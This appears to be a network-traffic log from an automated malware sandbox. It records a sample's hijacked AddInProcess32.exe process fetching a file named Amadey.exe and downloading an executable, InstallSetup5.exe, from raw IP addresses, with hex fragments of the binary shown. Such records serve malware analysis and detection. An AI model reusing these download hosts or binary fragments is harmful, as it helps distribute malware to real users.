Mar 11, 2024 03:31:00.768817902 CET	424	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 11 Mar 2024 02:31:00 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://net.geo.opera.com/opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2243	192.168.2.5	55635	15.204.49.148	80	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:31:00.791949987 CET	55	OUT	GET /files/Amadey.exe HTTP/1.1 Host: 15.204.49.148
Mar 11, 2024 03:31:01.021440983 CET	484	IN	HTTP/1.1 404 Not Found Date: Mon, 11 Mar 2024 02:30:59 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Content-Length: 299 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 35 2e 32 30 34 2e 34 39 2e 31 34 38 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 15.204.49.148 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2244	192.168.2.5	55642	185.172.128.126	80	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:31:03.661124945 CET	58	OUT	GET /InstallSetup5.exe HTTP/1.1 Host: 185.172.128.126
Mar 11, 2024 03:31:03.969909906 CET	1286	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:31:03 GMT Server: Apache/2.4.29 (Ubuntu) Last-Modified: Mon, 11 Mar 2024 02:30:02 GMT ETag: "1ca8e4-6135951a2b6e0" Accept-Ranges: bytes Content-Length: 1878244 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 93 15 20 57 00 00 00 00 00 00 00 00 e0 00 0f 03 0b 01 02 1a 00 8c 00 00 00 98 00 00 00 ae 01 00 75 43 00 00 00 10 00 00 00 a0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 90 05 00 00 04 00 00 a5 ea 01 00 02 00 00 80 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 02 00 7c 12 00 00 00 70 03 00 e8 15 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 24 8b 00 00 00 10 00 00 00 8c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 30 60 2e 64 61 74 61 00 00 00 e0 00 00 00 00 a0 00 00 00 02 00 00 00 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 38 6a 00 00 00 b0 00 00 00 6c 00 00 00 92 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 00 ad 01 00 00 20 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 69 64 61 74 61 00 00 7c 12 00 00 00 d0 02 00 00 14 00 00 00 fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 6e 64 61 74 61 00 00 00 80 00 00 00 f0 02 00 00 04 00 00 00 12 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 73 72 63 00 00 00 e8 15 02 00 00 70 03 00 00 16 02 00 00 16 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 57 56 53 81 ec Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL WuC@ \|p.text$ 0`.data@`.rdata8jl@`@.bss `.idata\|@0.ndata@`.rsrcp@0UWVS
Mar 11, 2024 03:31:04.323045015 CET	1286	IN	Data Raw: 9c 00 00 00 8b 55 0c 8b 45 14 83 fa 0f 74 1b 83 fa 46 0f 85 d4 01 00 00 8b 0d a4 bc 42 00 83 48 18 10 89 48 04 e9 c2 01 00 00 8d 45 a8 8b 35 20 bc 42 00 89 44 24 04 8b 45 08 89 04 24 ff 15 a0 d4 42 00 53 53 89 c3 8d 45 98 c7 45 8c 00 00 00 00 89 Data Ascii: UEtFBHHE5 BD$E$BSSEED$E$BEWWEE}9}E)EFTFPE}FTFPE}FTFPE}EM$
Mar 11, 2024 03:31:04.323354006 CET	1286	IN	Data Raw: ff 74 14 89 04 24 ff 15 1c d3 42 00 50 b8 01 00 00 00 e9 81 00 00 00 c7 44 24 08 00 00 00 00 89 7c 24 04 89 04 24 e8 49 ff ff ff 83 ec 0c 85 c0 74 9b 8b 85 dc fe ff ff 89 04 24 ff 15 1c d3 42 00 51 c7 04 24 04 00 00 00 e8 3d 6d 00 00 85 c0 57 74 Data Ascii: t$BPD$\|$$It$BQ$=mWt BD$t$$T$%=But$$$BRRe[^_]US4]B$"4R<(ARuBM\$$D$D$L$
Mar 11, 2024 03:31:05.043148041 CET	1286	IN	Data Raw: 89 44 24 08 ff 15 d0 d3 42 00 83 ec 10 85 c0 74 37 8b 85 a8 fe ff ff 31 ff 39 c3 73 3d 80 38 00 74 38 89 1c 24 e8 e5 66 00 00 85 c0 52 74 19 83 c0 2c 89 44 24 04 8b 85 a8 fe ff ff 89 04 24 e8 5e 62 00 00 50 50 eb 12 8b 85 6c fe ff ff bf 01 00 00 Data Ascii: D$Bt719s=8t8$fRt,D$$^bPPlBtD$D$$B$VW1T$\$D$D$D$$,B$QD$$_RR'
Mar 11, 2024 03:31:06.131136894 CET	1286	IN	Data Raw: 9c 00 00 00 8b 55 0c 8b 45 14 83 fa 0f 74 1b 83 fa 46 0f 85 d4 01 00 00 8b 0d a4 bc 42 00 83 48 18 10 89 48 04 e9 c2 01 00 00 8d 45 a8 8b 35 20 bc 42 00 89 44 24 04 8b 45 08 89 04 24 ff 15 a0 d4 42 00 53 53 89 c3 8d 45 98 c7 45 8c 00 00 00 00 89 Data Ascii: UEtFBHHE5 BD$E$BSSEED$E$BEWWEE}9}E)EFTFPE}FTFPE}FTFPE}EM$
Mar 11, 2024 03:31:08.341860056 CET	1286	IN	Data Raw: 9c 00 00 00 8b 55 0c 8b 45 14 83 fa 0f 74 1b 83 fa 46 0f 85 d4 01 00 00 8b 0d a4 bc 42 00 83 48 18 10 89 48 04 e9 c2 01 00 00 8d 45 a8 8b 35 20 bc 42 00 89 44 24 04 8b 45 08 89 04 24 ff 15 a0 d4 42 00 53 53 89 c3 8d 45 98 c7 45 8c 00 00 00 00 89 Data Ascii: UEtFBHHE5 BD$E$BSSEED$E$BEWWEE}9}E)EFTFPE}FTFPE}FTFPE}EM$
Mar 11, 2024 03:31:12.691771984 CET	1286	IN	Data Raw: 9c 00 00 00 8b 55 0c 8b 45 14 83 fa 0f 74 1b 83 fa 46 0f 85 d4 01 00 00 8b 0d a4 bc 42 00 83 48 18 10 89 48 04 e9 c2 01 00 00 8d 45 a8 8b 35 20 bc 42 00 89 44 24 04 8b 45 08 89 04 24 ff 15 a0 d4 42 00 53 53 89 c3 8d 45 98 c7 45 8c 00 00 00 00 89 Data Ascii: UEtFBHHE5 BD$E$BSSEED$E$BEWWEE}9}E)EFTFPE}FTFPE}FTFPE}EM$
Mar 11, 2024 03:31:21.396356106 CET	1286	IN	Data Raw: 9c 00 00 00 8b 55 0c 8b 45 14 83 fa 0f 74 1b 83 fa 46 0f 85 d4 01 00 00 8b 0d a4 bc 42 00 83 48 18 10 89 48 04 e9 c2 01 00 00 8d 45 a8 8b 35 20 bc 42 00 89 44 24 04 8b 45 08 89 04 24 ff 15 a0 d4 42 00 53 53 89 c3 8d 45 98 c7 45 8c 00 00 00 00 89 Data Ascii: UEtFBHHE5 BD$E$BSSEED$E$BEWWEE}9}E)EFTFPE}FTFPE}FTFPE}EM$
Mar 11, 2024 03:31:39.315078974 CET	1286	IN	Data Raw: 9c 00 00 00 8b 55 0c 8b 45 14 83 fa 0f 74 1b 83 fa 46 0f 85 d4 01 00 00 8b 0d a4 bc 42 00 83 48 18 10 89 48 04 e9 c2 01 00 00 8d 45 a8 8b 35 20 bc 42 00 89 44 24 04 8b 45 08 89 04 24 ff 15 a0 d4 42 00 53 53 89 c3 8d 45 98 c7 45 8c 00 00 00 00 89 Data Ascii: UEtFBHHE5 BD$E$BSSEED$E$BEWWEE}9}E)EFTFPE}FTFPE}FTFPE}EM$
Mar 11, 2024 03:32:14.131149054 CET	1286	IN	Data Raw: 9c 00 00 00 8b 55 0c 8b 45 14 83 fa 0f 74 1b 83 fa 46 0f 85 d4 01 00 00 8b 0d a4 bc 42 00 83 48 18 10 89 48 04 e9 c2 01 00 00 8d 45 a8 8b 35 20 bc 42 00 89 44 24 04 8b 45 08 89 04 24 ff 15 a0 d4 42 00 53 53 89 c3 8d 45 98 c7 45 8c 00 00 00 00 89 Data Ascii: UEtFBHHE5 BD$E$BSSEED$E$BEWWEE}9}E)EFTFPE}FTFPE}FTFPE}EM$
Mar 11, 2024 03:33:23.763113022 CET	1286	IN	Data Raw: 9c 00 00 00 8b 55 0c 8b 45 14 83 fa 0f 74 1b 83 fa 46 0f 85 d4 01 00 00 8b 0d a4 bc 42 00 83 48 18 10 89 48 04 e9 c2 01 00 00 8d 45 a8 8b 35 20 bc 42 00 89 44 24 04 8b 45 08 89 04 24 ff 15 a0 d4 42 00 53 53 89 c3 8d 45 98 c7 45 8c 00 00 00 00 89 Data Ascii: UEtFBHHE5 BD$E$BSSEED$E$BEWWEE}9}E)EFTFPE}FTFPE}FTFPE}EM$

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49708	140.82.112.4	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:35 UTC	101	OUT	GET /TheSpeedX/PROXY-List/blob/master/http.txt HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-03-11 02:30:36 UTC	506	IN	HTTP/1.1 200 OK Server: GitHub.com Date: Mon, 11 Mar 2024 02:30:35 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With ETag: W/"0f276cf0553609c098b42ab0c59c3999" Cache-Control: max-age=0, private, must-revalidate Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-03-11 02:30:36 UTC	3593	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f 6d 20 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 20 61 70 69 2e 67 69 74 68 75 62 2e Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.
2024-03-11 02:30:36 UTC	21	IN	Data Raw: 63 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a Data Ascii: connection: close
2024-03-11 02:30:36 UTC	1370	IN	Data Raw: 32 32 45 43 0d 0a 0a 0a 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 0a 20 20 6c 61 6e 67 3d 22 65 6e 22 0a 20 20 0a 20 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 22 61 75 74 6f 22 20 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 22 20 64 61 74 61 2d 64 61 72 6b 2d 74 68 65 6d 65 3d 22 64 61 72 6b 22 0a 20 20 64 61 74 61 2d 61 31 31 79 2d 61 6e 69 6d 61 74 65 64 2d 69 6d 61 67 65 73 3d 22 73 79 73 74 65 6d 22 20 64 61 74 61 2d 61 31 31 79 2d 6c 69 6e 6b 2d 75 6e 64 65 72 6c 69 6e 65 73 3d 22 74 72 75 65 22 0a 20 20 3e 0a 0a 0a 0a 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 Data Ascii: 22EC<!DOCTYPE html><html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system" data-a11y-link-underlines="true" > <head> <meta charset="utf-8"> <link rel="dns-pr
2024-03-11 02:30:36 UTC	1370	IN	Data Raw: 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 64 61 72 6b 5f 63 6f 6c 6f 72 62 6c 69 6e 64 2d 61 66 61 39 39 64 63 66 34 30 66 37 2e 63 73 73 22 20 2f 3e 3c 6c 69 6e 6b 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 5f 63 6f 6c 6f 72 62 6c 69 6e 64 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f Data Ascii: ="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-afa99dcf40f7.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/
2024-03-11 02:30:36 UTC	1370	IN	Data Raw: 67 69 74 68 75 62 2d 66 34 64 38 35 37 63 62 63 39 36 61 2e 63 73 73 22 20 2f 3e 0a 20 20 3c 6c 69 6e 6b 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 72 65 70 6f 73 69 74 6f 72 79 2d 36 32 34 37 63 61 32 33 38 66 64 34 2e 63 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 Data Ascii: github-f4d857cbc96a.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/repository-6247ca238fd4.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubass
2024-03-11 02:30:36 UTC	1370	IN	Data Raw: 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 73 74 61 63 6b 74 72 61 63 65 2d 70 61 72 73 65 72 5f 64 69 73 74 5f 73 74 61 63 6b 2d 74 72 61 63 65 2d 70 61 72 73 65 72 5f 65 73 6d 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 62 72 6f 2d 61 34 63 31 38 33 2d 37 39 66 39 36 31 31 63 32 37 35 62 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 Data Ascii: ps://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-a4c183-79f9611c275b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://gi
2024-03-11 02:30:36 UTC	1370	IN	Data Raw: 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 63 6f 6d 62 6f 62 6f 78 2d 6e 61 76 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6d 61 72 6b 64 6f 77 6e 2d 74 6f 6f 6c 62 61 72 2d 65 2d 38 32 30 66 63 30 2d 62 63 38 66 30 32 62 39 36 37 34 39 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 Data Ascii: " defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_combobox-nav_dist_index_js-node_modules_github_markdown-toolbar-e-820fc0-bc8f02b96749.js"></script><script crossorigin="anonymous" defer
2024-03-11 02:30:36 UTC	1370	IN	Data Raw: 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 65 6c 65 6d 65 6e 74 2d 72 65 67 69 73 74 72 79 2d 38 35 37 34 35 33 30 61 36 63 64 35 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f Data Ascii: fer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-8574530a6cd5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendo
2024-03-11 02:30:36 UTC	728	IN	Data Raw: 65 72 74 5f 69 6e 64 65 78 5f 6a 73 2d 37 32 63 39 66 62 64 65 35 61 64 34 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 70 72 69 6d 65 72 5f 62 65 68 61 76 69 6f 72 73 5f 64 69 73 74 5f 65 73 6d 5f 64 69 6d 65 6e 73 69 6f 6e 73 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6a 74 6d 6c 5f 6c 69 62 5f 69 6e 64 65 78 Data Ascii: ert_index_js-72c9fbde5ad4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_jtml_lib_index
2024-03-11 02:30:36 UTC	1370	IN	Data Raw: 35 44 31 34 0d 0a 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 62 65 68 61 76 69 6f 72 73 5f 74 61 73 6b 2d 6c 69 73 74 5f 74 73 2d 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6f 6e 66 6f 63 75 73 5f 74 73 2d 61 70 70 5f 61 73 73 2d 34 32 31 63 65 63 2d 39 64 65 34 32 31 33 30 31 35 61 66 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e Data Ascii: 5D14><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_task-list_ts-app_assets_modules_github_onfocus_ts-app_ass-421cec-9de4213015af.js"></script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	51394	104.100.78.158	443

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:39 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-03-11 02:30:39 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (sac/250E) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=60961 Date: Mon, 11 Mar 2024 02:30:39 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	51964	104.100.78.158	443

Timestamp	Bytes transferred	Direction	Data
